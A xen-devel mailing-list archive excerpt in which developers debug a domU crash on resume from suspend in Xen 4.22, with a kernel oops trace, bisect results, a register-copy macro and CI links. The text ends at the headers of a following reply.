Received: from list by lists.xenproject.org with outflank-mailman.1366055.1615993 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlYh0-0003Bn-LW; Sun, 19 Jul 2026 21:04:58 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366055.1615993; Sun, 19 Jul 2026 21:04:58 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlYh0-0003Bf-IA; Sun, 19 Jul 2026 21:04:58 +0000
Received: by outflank-mailman (input) for mailman id 1366055;
 Sun, 19 Jul 2026 21:04:57 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wlYgy-0003BZ-Sq
 for xen-devel@lists.xenproject.org; Sun, 19 Jul 2026 21:04:57 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlYgx-009a6I-Qp
 for xen-devel@lists.xenproject.org; Sun, 19 Jul 2026 23:04:55 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5d3b8c-bab6-0a2a0a5309dd-0a2a4509bbf0-38
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 23:04:55 +0200
Received: from [209.85.128.170] (helo=mail-yw1-f170.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5d3bf6-be1a-0a2a45090019-d15580aab129-3
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 23:04:55 +0200
Received: by mail-yw1-f170.google.com with SMTP id
 00721157ae682-81eff3ddba4so17343657b3.3
 for <xen-devel@lists.xenproject.org>; Sun, 19 Jul 2026 14:04:55 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784495094; cv=none;
        d=google.com; s=arc-20260327;
        b=fNBYCDVu68NQwTor8XLAEMX2gyDbSBcokccbRCIHqv8YyWRltaxQxpZouXQ1cKAF6F
         diglsdNmruDTz2cfZyALMGmZGy3uTkWUJ2QFHOMZIiniULg9tN/rTmqVvOo2ibYf0Peq
         vqPwEcvk+CjgDdpcmQGZ2eptNWbvU44Po04NABTdBM4VItroQlGR9faCUCInW4DHJNav
         cGPI8723NRY9o5rnbGwOSxBY98y17RsuSJUoYxgDOXBUKzyHoS5iU1I5qLvoh5+OBvy5
         xd3bJx5bCeL83DBhRozqpMDVLuSVEJMfHeJ16yhzhmEbNYXPwWg6AySMsKdmAUQwlVWX
         vjaQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=content-transfer-encoding:cc:to:subject:message-id:date:from
         :in-reply-to:references:mime-version:dkim-signature;
        bh=kgwQSCzFlU4oZMvaRLEDCchuo+4+6Zn05TJg0kihVhY=;
        fh=xICrRNGL1/wiAEX7CoGX/RRRWm4TcI+zcC/u/Ri/Jas=;
        b=I2Opg0QAUco2rStV0CWKDBR5zNbLjkE1/n9vpO1s3BMJF/RZpmwuXZu1zDjwABVXYv
         g7jQWXLO9GvB1gGf8AggCjtM+7OGpf9gHPTEOWzD29qqSfHObyZZlKIz7UZ6j/sp42nj
         iqusVkUuGgK5f1EvxV8raYDlxSK8YaEpcExLJj8KCg8KA1ik9mtQpHrShu+iKBRtWFgA
         /ts87hxa6veqzb+THkJ7cgsu2liRuZW3erKv+4MNBYjRGQxBhrUWjkTP2uSj4leky8ND
         /R84PQylis6ur2nQTOlhSbB6N7aciw1MA1hDf0e2N7yKT2uIZD+L22U501wca6PRVanO
         6cGA==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784495094; x=1785099894; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=kgwQSCzFlU4oZMvaRLEDCchuo+4+6Zn05TJg0kihVhY=;
        b=ghEuwpQhA+UvljAwrS0scPe5AsX5vGlTolfkjLxWHVyF9ZtlybN+vlp2xioTLcZ5v0
         YNz+zIAv/YEyPS8ppq8S62Qqh8rjlk08EbpduFAqb5FMk+VY78L8K8GBEJjSL3FIOYNG
         I2AYVBSnHCQnS+Rh1T0NoF+1vpLWyzz8BffhIzWxI9Lz6niKFjNYEm49zS1H8kfrAA2B
         4OdS/bEbALxai6vo+HdGYzc57x23F6bWYtNlhkrBIhmpvuyPOi3bOd2eVY/fPT+xYw/I
         8Pex9yq7dtR60ZiNbkxFFhylM4lwMX244b9SsLYCzirogMiv7hEoQg5OuTMxW3kdBE8n
         yeaw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784495094; x=1785099894;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=kgwQSCzFlU4oZMvaRLEDCchuo+4+6Zn05TJg0kihVhY=;
        b=Omuf3pmEI4+Ai0D463iQ6zVXSkd+onBoimi6pSTKZosraxAerxxy7H/G1ALugvgECA
         2ElhRXalTlYGtbQ0J+RSfm1nsqWImsKtP5v0OTQfLjPJqcxngIzrdYNWmuMOFHTCWEUM
         IJOfiJk2f4ew7qZcUE9nx5yO5/ABHs+QATJEuyUEoBtD/lcaDUFQ9+5rXPJFiTd/Unlp
         f20rv8Qh2DTluFYaX3uxTNvzjLKPkPVMvnzcjQ4wf/ZJ7UZskUgLKkqxUyjmXKTdAE5O
         cM45sLk/t2YvbYr2c9VVhCMRFNVOgJl6q/J32bphq+y4fltZmLF9g0V/0XYmYrnrKwF6
         O6pQ==
X-Gm-Message-State: AOJu0Yz97BQkjVwPTJcrbGYLYiyFa5NaQB0/RSudV/F8WJkoWMlPMac9
	WUs9Mhg08JduBnOfQjkXYOAhCknm5cQ6Z2gvHVHIR8uqkYpWBbLdxtH52Fc594k502lmm9gHLSk
	9chz6YQIBhuFs6gZC3WxrcjuOSBDiVcA=
X-Gm-Gg: AfdE7cm4x/BjzqEUQoJDXdHE7lRbif+9JeFdJbBwSC9zwqFViPj+4ynSlWnj1gZrb86
	M2Sjw/bJkc9g3d9T1ZjUm/2VoQtoOKAEEfwBWT9Ji4ov4O596saW6TC0fKQmFEqgFpIYKOyPrff
	SN8AU8JCmwnuDNKEFFUGlpI/YlMKXH14qSKJl1tltnhewFDyv+YSL3hCpwmvrbgpFLjahBnTpj2
	S+IpAEmPaWloQqSp28dJ02g0uvaO4REI7mT6ypr7ojSi6MbUDwVjEiSrHGgasyP0ZEUtu09B4aA
	HZdTIdYVjkImwzAfkg==
X-Received: by 2002:a53:c0c5:0:b0:664:ef34:3b with SMTP id 956f58d0204a3-6683bba373dmr2411772d50.42.1784495093938;
 Sun, 19 Jul 2026 14:04:53 -0700 (PDT)
MIME-Version: 1.0
References: <ajUm2SQtMD6Y-K9S@mail-itl> <alZt_boT-hJuVlD6@mail-itl>
 <CAHt6W4eBibmZ3fXd=sW4=nbuYV1QQMCQzEX=L7FaqL5aXeOvGQ@mail.gmail.com>
 <aluHsZA0hK8FcKnM@mail-itl> <alwvn_K_miQgiiIf@mail-itl> <CAHt6W4cyDAsTyOcPLcR2STQyhpkNe5W+to3JRn0yWnm3J9VF+w@mail.gmail.com>
 <al0oK0ABYviuWU5P@mail-itl>
In-Reply-To: <al0oK0ABYviuWU5P@mail-itl>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Sun, 19 Jul 2026 22:04:42 +0100
X-Gm-Features: AUfX_mwQsEp9J0E2lTshbzDD6-InJ2o4oTIBnNcC9itG-8NtAZhEGuACNBT832M
Message-ID: <CAHt6W4fWo-WXDieSM_+y1DgpjxVHTL=2KrX=b_iBhqz25jjs6g@mail.gmail.com>
Subject: Re: domU crash when resuming from suspend - Xen 4.22
To: =?UTF-8?Q?Marek_Marczykowski=2DG=C3=B3recki?= <marmarek@invisiblethingslab.com>
Cc: xen-devel <xen-devel@lists.xenproject.org>, 
	Andrew Cooper <andrew.cooper3@citrix.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-bad1c0/1784495095-3A0C5034-E98F2CB8/0/0
X-purgate-type: clean
X-purgate-size: 10128

On Sun, 19 Jul 2026 at 20:40, Marek Marczykowski-G=C3=B3recki
<marmarek@invisiblethingslab.com> wrote:
>
> On Sun, Jul 19, 2026 at 08:31:28AM +0100, Frediano Ziglio wrote:
> > On Sun, 19 Jul 2026 at 03:00, Marek Marczykowski-G=C3=B3recki
> > <marmarek@invisiblethingslab.com> wrote:
> > >
> > > On Sat, Jul 18, 2026 at 04:03:29PM +0200, Marek Marczykowski-G=C3=B3r=
ecki wrote:
> > > > On Fri, Jul 17, 2026 at 09:22:47PM +0100, Frediano Ziglio wrote:
> > > > > On Tue, 14 Jul 2026 at 18:12, Marek Marczykowski-G=C3=B3recki
> > > > > <marmarek@invisiblethingslab.com> wrote:
> > > > > >
> > > > > > On Fri, Jun 19, 2026 at 01:24:09PM +0200, Marek Marczykowski-G=
=C3=B3recki wrote:
> > > > > > > Hi,
> > > > > > >
> > > > > > > I'm continuing testing 4.22 and found this:
> > > > > > >
> > > > > > > When a domU is suspended (even without host suspend) it crash=
es on
> > > > > > > resume with:
> > > > > > >
> > > > > > >     [   24.374629] BUG: kernel NULL pointer dereference, addr=
ess: 0000000000000020
> > > > > > >     [   24.374647] #PF: supervisor read access in kernel mode
> > > > > > >     [   24.374657] #PF: error_code(0x0000) - not-present page
> > > > > > >     [   24.374668] PGD 0 P4D 0
> > > > > > >     [   24.374675] Oops: Oops: 0000 [#1] SMP NOPTI
> > > > > > >     [   24.374685] CPU: 0 UID: 0 PID: 19 Comm: migration/0 No=
t tainted 6.18.31-1.qubes.13.fc41.x86_64 #1 PREEMPT(full)
> > > > > > >     [   24.374705] Stopper: multi_cpu_stop+0x0/0x140 <- __sto=
p_cpus.constprop.0+0x6f/0xb0
> > > > > > >     [   24.374723] RIP: 0010:multi_cpu_stop+0x63/0x140
> > > > > > >     [   24.374734] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 =
04 00 00 00 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 =
f0 ff 0b 75 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 4=
1 83 fd
> > > > > > >     [   24.374764] RSP: 0018:ffffc900000abe30 EFLAGS: 0001004=
6
> > > > > > >     [   24.374775] RAX: 0000000000000000 RBX: ffffc90000a13de=
4 RCX: 0000000000000404
> > > > > > >     [   24.374790] RDX: 0000000000000040 RSI: fffffffffffffff=
f RDI: 0000000000770ef0
> > > > > > >     [   24.374801] RBP: 0000000000000002 R08: ffffc900000abc8=
0 R09: ffffc900000abc8c
> > > > > > >     [   24.374813] R10: 0000000000000000 R11: ffff88801e81cdc=
0 R12: ffffffff81835ac0
> > > > > > >     [   24.374825] R13: 0000000000000000 R14: 000000000000000=
0 R15: 0000000000000000
> > > > > > >     [   24.374837] FS:  0000000000000000(0000) GS:ffff88809b3=
69000(0000) knlGS:0000000000000000
> > > > > > >     [   24.374850] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008=
0050033
> > > > > > >     [   24.374860] CR2: 0000000000000020 CR3: 000000000d6a200=
2 CR4: 0000000000770ef0
> > > > > > >     [   24.374873] PKRU: 00000000
> > > > > > >     [   24.374877] Call Trace:
> > > > > > >     [   24.374884]  <TASK>
> > > > > > >     [   24.374891]  ? __pfx_multi_cpu_stop+0x10/0x10
> > > > > > >     [   24.374900]  cpu_stopper_thread+0xa3/0x170
> > > > > > >     [   24.374908]  ? __pfx_smpboot_thread_fn+0x10/0x10
> > > > > > >     [   24.374917]  smpboot_thread_fn+0xf3/0x220
> > > > > > >     [   24.374925]  kthread+0xfc/0x240
> > > > > > >     [   24.374933]  ? __pfx_kthread+0x10/0x10
> > > > > > >     [   24.374940]  ? __pfx_kthread+0x10/0x10
> > > > > > >     [   24.374949]  ret_from_fork+0x158/0x170
> > > > > > >     [   24.374957]  ? __pfx_kthread+0x10/0x10
> > > > > > >     [   24.374965]  ret_from_fork_asm+0x1a/0x30
> > > > > > >     [   24.374973]  </TASK>
> > > > > > >     [   24.374978] Modules linked in: snd_seq_dummy snd_hrtim=
er snd_seq snd_seq_device snd_timer snd soundcore cfg80211 rfkill vfat fat =
xenfs binfmt_misc nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject =
nft_ct nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables intel_rapl_msr =
intel_rapl_common intel_uncore_frequency_common intel_pmc_ssram_telemetry i=
ntel_vsec polyval_clmulni ghash_clmulni_intel xen_netfront xen_privcmd xen_=
gntdev xen_gntalloc xen_blkback xen_evtchn fuse loop nfnetlink ip_tables ov=
erlay xen_blkfront
> > > > > > >     [   24.375064] CR2: 0000000000000020
> > > > > > >     [   24.375071] ---[ end trace 0000000000000000 ]---
> > > > > > >     [   24.375080] RIP: 0010:multi_cpu_stop+0x63/0x140
> > > > > > >     [   24.375089] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 24 =
04 00 00 00 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 49 =
f0 ff 0b 75 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20 4=
1 83 fd
> > > > > > >     [   24.375115] RSP: 0018:ffffc900000abe30 EFLAGS: 0001004=
6
> > > > > > >     [   24.375124] RAX: 0000000000000000 RBX: ffffc90000a13de=
4 RCX: 0000000000000404
> > > > > > >     [   24.375142] RDX: 0000000000000040 RSI: fffffffffffffff=
f RDI: 0000000000770ef0
> > > > > > >     [   24.375155] RBP: 0000000000000002 R08: ffffc900000abc8=
0 R09: ffffc900000abc8c
> > > > > > >     [   24.375170] R10: 0000000000000000 R11: ffff88801e81cdc=
0 R12: ffffffff81835ac0
> > > > > > >     [   24.375184] R13: 0000000000000000 R14: 000000000000000=
0 R15: 0000000000000000
> > > > > > >     [   24.375200] FS:  0000000000000000(0000) GS:ffff88809b3=
69000(0000) knlGS:0000000000000000
> > > > > > >     [   24.375214] CS:  0010 DS: 0000 ES: 0000 CR0: 000000008=
0050033
> > > > > > >     [   24.375226] CR2: 0000000000000020 CR3: 000000000d6a200=
2 CR4: 0000000000770ef0
> > > > > > >     [   24.375241] PKRU: 00000000
> > > > > > >     [   24.375247] Kernel panic - not syncing: Fatal exceptio=
n
> > > > > > >     [   25.417403] Shutting down cpus with NMI
> > > > > > >     [   25.417447] Kernel Offset: disabled
> > > > > > >
> > > > > > > There is no change on the Linux kernel side (neither dom0 nor=
 domU), the
> > > > > > > only change is updating Xen 4.19.4 -> 4.22-rc2 (seems to be a=
lready
> > > > > > > broken on -rc1 too). This happens for both HVM and PVH domain=
s. Haven't
> > > > > > > tried PV domU (but dom0 survives host suspend).
> > > > > >
> > > > > > Any ideas?
> > > > > >
> > > > >
> > > > > Hi,
> > > > >    not many ideas but while testing my libxenguest changes I foun=
d
> > > > > similar failures using xl create/save/restore. But I was testing =
more
> > > > > PV guests.
> > > > > Does 4.21 work ?
> > > >
> > > > It seems 4.21 also has this issue:
> > > > https://gitlab.com/xen-project/people/marmarek/xen/-/jobs/154142115=
23
> > > > But 4.20 is okay:
> > > > https://gitlab.com/xen-project/people/marmarek/xen/-/jobs/154142270=
95
> > > >
> > > > I guess I can bisect it further.
> > >
> > > So, bisect says the first bad commit is:
> > >
> > >     commit 9f892f84c27970840d255aef7e2851b762967de7
> > >     Author: Andrew Cooper <andrew.cooper3@citrix.com>
> > >     Date:   Mon Dec 30 11:49:14 2024 +0000
> > >
> > >         x86/domctl: Stop using XLAT_cpu_user_regs()
> > >
> > > My test isn't 100% reliable, but I retested parent of this commit a
> > > couple of times and it was good every time.
> > >
> > > I wanted to test reverting it on top of 4.21, but there is a lot of
> > > FRED-related work on top that makes such revert quite hard, to say th=
e
> > > least...
> > >
> >
> > The generated XLAT_cpu_user_regs was
> >
> > #define XLAT_cpu_user_regs(_d_, _s_) do { \
> >     (_d_)->__DECL_REG_LO8(b) =3D (_s_)->__DECL_REG_LO8(b); \
> >     (_d_)->__DECL_REG_LO8(c) =3D (_s_)->__DECL_REG_LO8(c); \
> >     (_d_)->__DECL_REG_LO8(d) =3D (_s_)->__DECL_REG_LO8(d); \
> >     (_d_)->__DECL_REG_LO16(si) =3D (_s_)->__DECL_REG_LO16(si); \
> >     (_d_)->__DECL_REG_LO16(di) =3D (_s_)->__DECL_REG_LO16(di); \
> >     (_d_)->__DECL_REG_LO16(bp) =3D (_s_)->__DECL_REG_LO16(bp); \
> >     (_d_)->__DECL_REG_LO8(a) =3D (_s_)->__DECL_REG_LO8(a); \
> >     (_d_)->error_code =3D (_s_)->error_code; \
> >     (_d_)->entry_vector =3D (_s_)->entry_vector; \
> >     (_d_)->__DECL_REG_LO16(ip) =3D (_s_)->__DECL_REG_LO16(ip); \
> >     (_d_)->cs =3D (_s_)->cs; \
> >     (_d_)->saved_upcall_mask =3D (_s_)->saved_upcall_mask; \
> >     (_d_)->__DECL_REG_LO16(flags) =3D (_s_)->__DECL_REG_LO16(flags); \
> >     (_d_)->__DECL_REG_LO16(sp) =3D (_s_)->__DECL_REG_LO16(sp); \
> >     (_d_)->ss =3D (_s_)->ss; \
> >     (_d_)->es =3D (_s_)->es; \
> >     (_d_)->ds =3D (_s_)->ds; \
> >     (_d_)->fs =3D (_s_)->fs; \
> >     (_d_)->gs =3D (_s_)->gs; \
> > } while (0)
> >
> > registers are copied, but additional fields (error_code, entry_vector,
> > saved_upcall_mask).
> > Maybe you could try to copy them again.
> > Also, just to be on the safe side, you could memset the structure
> > where "Backing memory is pre-zeroed" comments are.
>
> This does not help :(
>
> Specifically:
> 1. Applied on top of staging-4.21:
>   - build: https://gitlab.com/xen-project/people/marmarek/xen/-/commits/1=
88ca612c51a57ef54b917c833eaeb59666994c9
>   - test (fails): https://gitlab.com/xen-project/people/marmarek/xen/-/pi=
pelines/2688813821
> 2. Applied directly on top of 9f892f84c27970840d255aef7e2851b762967de7:
>   - build: https://gitlab.com/xen-project/people/marmarek/xen/-/commits/d=
d3dee35fc4fcd6ba284f3f5fa78b333c472888e
>   - test (fails): https://gitlab.com/xen-project/people/marmarek/xen/-/pi=
pelines/2688832398
>
> Yet, parent of 9f892f84c27970840d255aef7e2851b762967de7 still passes:
>  - build: https://gitlab.com/xen-project/people/marmarek/xen/-/commits/db=
cbbed4e9dc25faa211d359c2f04a9c70f087c9
>  - test (pass): https://gitlab.com/xen-project/people/marmarek/xen/-/pipe=
lines/2688835512
>
> Hint about reading the above: I use two branches, one for building
> (branch "test") and one for running the test (branch "automation-uki-grub=
-only"),
> which takes build artifacts from the build branch. I do that to not
> rebase test scripts. It's a bit opaque, but the console log of the test
> contains "Latest ChangeSet" fields telling what actually was tested.
>

If it does not take long to test you could revert hunk by hunk
starting from xen/include/xlat.lst.

Frediano


From xen-devel-bounces@lists.xenproject.org Sun Jul 19 22:51:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 19 Jul 2026 22:51:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366072.1616001 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlaLb-0007aK-Qg; Sun, 19 Jul 2026 22:50:59 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366072.1616001; Sun, 19 Jul 2026 22:50:59 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlaLb-0007aD-Ni; Sun, 19 Jul 2026 22:50:59 +0000
Received: by outflank-mailman (input) for mailman id 1366072;
 Sun, 19 Jul 2026 22:50:58 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1wlaLa-0007a7-GM
 for xen-devel@lists.xenproject.org; Sun, 19 Jul 2026 22:50:58 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlaLZ-00Gokj-Cc
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 00:50:57 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a5d5499-e002-0a2a0a5209dd-0a2a4508924e-20
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 00:50:57 +0200
Received: from [103.168.172.149] (helo=fout-a6-smtp.messagingengine.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a5d54cf-f659-0a2a45080019-67a8ac95bd83-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 00:50:56 +0200
Received: from phl-compute-02.internal (phl-compute-02.internal [10.202.2.42])
 by mailfout.phl.internal (Postfix) with ESMTP id 758C1EC00FA;
 Sun, 19 Jul 2026 18:50:55 -0400 (EDT)
Received: from phl-frontend-04 ([10.202.2.163])
 by phl-compute-02.internal (MEProxy); Sun, 19 Jul 2026 18:50:55 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Sun,
 19 Jul 2026 18:50:54 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Type:Date:Feedback-ID:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-type:content-type:date
	:date:from:from:in-reply-to:in-reply-to:message-id:mime-version
	:references:reply-to:subject:subject:to:to; s=fm2; t=1784501455;
	 x=1784587855; bh=+xVltXH47ZnQRv/KhBcdReuDxNKytw+IOjmdi7KdfXg=; b=
	NmlOqLazf5CHz+krwHqkK16bxVwFRqgRFaudixfeXmuyfi0liPhVSc7EjaBiz7Ow
	nEa3D2gq8CtJw857baaY2OsAqEDMzkkPKDP3xg9PhsJOChSu9hIDbaXU6+xn8QwP
	UD9T0/NOH6U1AmrAr+3JQuUBDa/+IwjB+b5B05Rbx8iFKhExlwY8LJFylZsidxCT
	mF2kYx5ckYWd4nDbCMIq9s7+koXqjsO6JsBQ9vZ0imCdYPbW60vbfRY8sZ+11YMF
	XaQH+zQqbO1mLXHxY9XzH0hl6iKa3h4iKXYu6fuAG1Mh0PQ3BA+/hDOW6fveWDmf
	mAUv3czIMI0jgQR2NlDxdw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-type:content-type:date:date
	:feedback-id:feedback-id:from:from:in-reply-to:in-reply-to
	:message-id:mime-version:references:reply-to:subject:subject:to
	:to:x-me-proxy:x-me-sender:x-me-sender:x-sasl-enc; s=fm2; t=
	1784501455; x=1784587855; bh=+xVltXH47ZnQRv/KhBcdReuDxNKytw+IOjm
	di7KdfXg=; b=OJFSYzVRL+sHD0XMUJVL9C4hwPLvFVbp5rpyYisiHKTIuB2+AWt
	iK7/QURaIUXM/g/JBAzElGzh+UR3ecpIY3mgm8LeW209m85dt+x8FLzXtu/mwvqf
	cfIRKkirjB0hlT8ImKDDwdIXWJmlIGHmMizaYE2nZaRxwIuXT7st+nJxE2ksDLDQ
	9/aDmdMaTEQdqW5xyHYLwAJMghvPPrraG3QD0QORc4HQyzRgOtCI9fHN+yc7Mv0/
	KTJpIimaDSblMozVbe4e5ON3+zB+z3LGa6/KMaAiAwLDCxs9ZS3yVCnuWTt0Zc9J
	83Jl3R5tVEHw17cwtcZAz0D7GXa5vyPKVAA==
X-ME-Sender: <xms:z1RdaiGPjPAQ_Ze8kWfOynQbgm8RRYXAAo6pxL0jj0mFrKXL8rUBQQ>
    <xme:z1RdaqyOrvZj8lkAwZlmUJFGKu_Kjad-FRtSUTCrbxRQBSTKMg8j45xg8PRiZXZB0
    Xh4fhgf2J1qp0XOu4rblSgO_rBQkRTlK4rCozgzYs6Wg0NzcQ>
X-ME-Received: <xmr:z1RdaphPj79pCOis1nbFQDLIU3XbBEFeuS5Q-lgDWzDFOVPKKoFAkZR0vxYJ52JyAdxlMGLQ_99i8jMT-HBoa6KxMvimwzpbKLw>
X-ME-Proxy-Cause: dmFkZTFugC/EomZYERVN9Bge0AzeAET4x6GNyZspB2Km7d7Ao2JQPRLXHuH1mgjrwy5CL6
    Qi28RlmEOF8hpfcko0iggXworNIat5yWZyNTPeMeyaNAEYhBIxykIAXnQTx2tbvREkFrUr
    /eolne0bVqXW+f2lMX4G+B8LDltKqY6T1mEAjfKxHrcTUDGJcCpMpNCng59/bR5CKo+oUy
    ty4gXFDmYDCFL0tLiv64X8AmXRVIuaqWOgq6kJ2cvz7rsIV6IBrND3sBEDFpVjtvEReB+e
    7JarJa/rpL5wpZQpplNLTvbgiyV+MFCR0Xxs9jGOEBqjjqdAqfMeDQ3GqA2GjnSqqxvyTb
    DTPDk0Z3G250E/z4NERse4fM+eMk7kMGIMEYOEQ7fFw6wwmg5RfJll5fiCIn26wHOmGQiN
    BLyQ3GVO8tgh4F9cGcP6jG5iaWRzunitcQKYAHf4AfSkHTVRco1O9mBrj7qzO3feS9D62b
    ABBzZ6FARLIW1VYko74I8op1SPYEFB4hKTaoIn/2mHp1F+cSX/023rClDn7a5T7/4UvZiH
    S2NSOMLbJvCRWOUIyRSyr2XTpjpJ3iPkvBGvdD20y7R47eJnB4h9542HqlmhaHGxtkvMX5
    s3N11uJV0ZUK8dVcYT1gLpBnYC0exnvmAKJHIK2Azlu2f4VYOLWiRTyd3MAA
X-ME-Proxy: <xmx:z1Rdalz3cWpLc8RBEiIMAE7181n7dCPzxtynW34604TDnM1-GWFREA>
    <xmx:z1RdasJ19PHVe1Z8L0uaFBbLvlW8qeQyRr4eXthMta0G9DGpnP2pbg>
    <xmx:z1RdasTwS3yI09Ka_kg4iruUkYJgw8GT0zBZ-_e03NfGu-4F-zlfdA>
    <xmx:z1RdakqlKIH3BjFo53d5KnhXMxUVBJpnbVh1f2KsUi8Trd1-NRRaYw>
    <xmx:z1Rdagcko9abkbeUDH3apw5y3ElyAt_0cnb-75mt9bukBi4w82MHqyQQ>
Feedback-ID: i1568416f:Fastmail
Date: Mon, 20 Jul 2026 00:50:52 +0200
From: Marek =?utf-8?Q?Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>
Subject: Re: domU crash when resuming from suspend - Xen 4.22
Message-ID: <al1UzGM4Jd-HALsm@mail-itl>
References: <ajUm2SQtMD6Y-K9S@mail-itl>
 <alZt_boT-hJuVlD6@mail-itl>
 <CAHt6W4eBibmZ3fXd=sW4=nbuYV1QQMCQzEX=L7FaqL5aXeOvGQ@mail.gmail.com>
 <aluHsZA0hK8FcKnM@mail-itl>
 <alwvn_K_miQgiiIf@mail-itl>
